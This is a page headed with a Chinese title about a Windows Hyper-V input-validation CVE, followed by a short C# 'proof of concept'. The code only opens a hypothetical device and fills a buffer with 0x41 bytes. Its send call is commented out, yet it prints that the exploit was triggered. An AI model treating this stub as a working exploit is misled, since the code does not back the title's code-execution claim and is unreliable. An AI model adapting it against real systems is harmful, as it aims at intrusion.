CVE-2026-32149 Windows Hyper-V 输入验证漏洞致本地代码执行

/* * PoC for CVE-2026-32149 * This is a conceptual demonstration of triggering the input validation issue. * Requires local access and user interaction. */ using System; using System.Runtime.InteropServices; namespace HyperVPoC { class Program { [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] public static extern IntPtr CreateFile( string lpFileName, uint dwDesiredAccess, uint dwShareMode, IntPtr lpSecurityAttributes, uint dwCreationDisposition, uint dwFlagsAndAttributes, IntPtr hTemplateFile); static void Main(string[] args) { Console.WriteLine("[*] Attempting to trigger CVE-2026-32149..."); // Hypothetical malformed input targeting Hyper-V interface string devicePath = @"\\.\HvDevice"; IntPtr hDevice = CreateFile(devicePath, 0xC0000000, 0, IntPtr.Zero, 3, 0, IntPtr.Zero); if (hDevice.ToInt32() == -1) { Console.WriteLine("[-] Failed to open device."); return; } Console.WriteLine("[+] Device opened. Sending malformed input buffer..."); // Implementation of buffer overflow or invalid data structure byte[] maliciousBuffer = new byte[1024]; // Fill buffer with pattern to trigger validation bypass for(int i=0; i<maliciousBuffer.Length; i++) maliciousBuffer[i] = 0x41; // Send buffer to device driver (Conceptual) // DeviceIoControl(...); Console.WriteLine("[*] Exploit logic triggered. Check system status."); } } }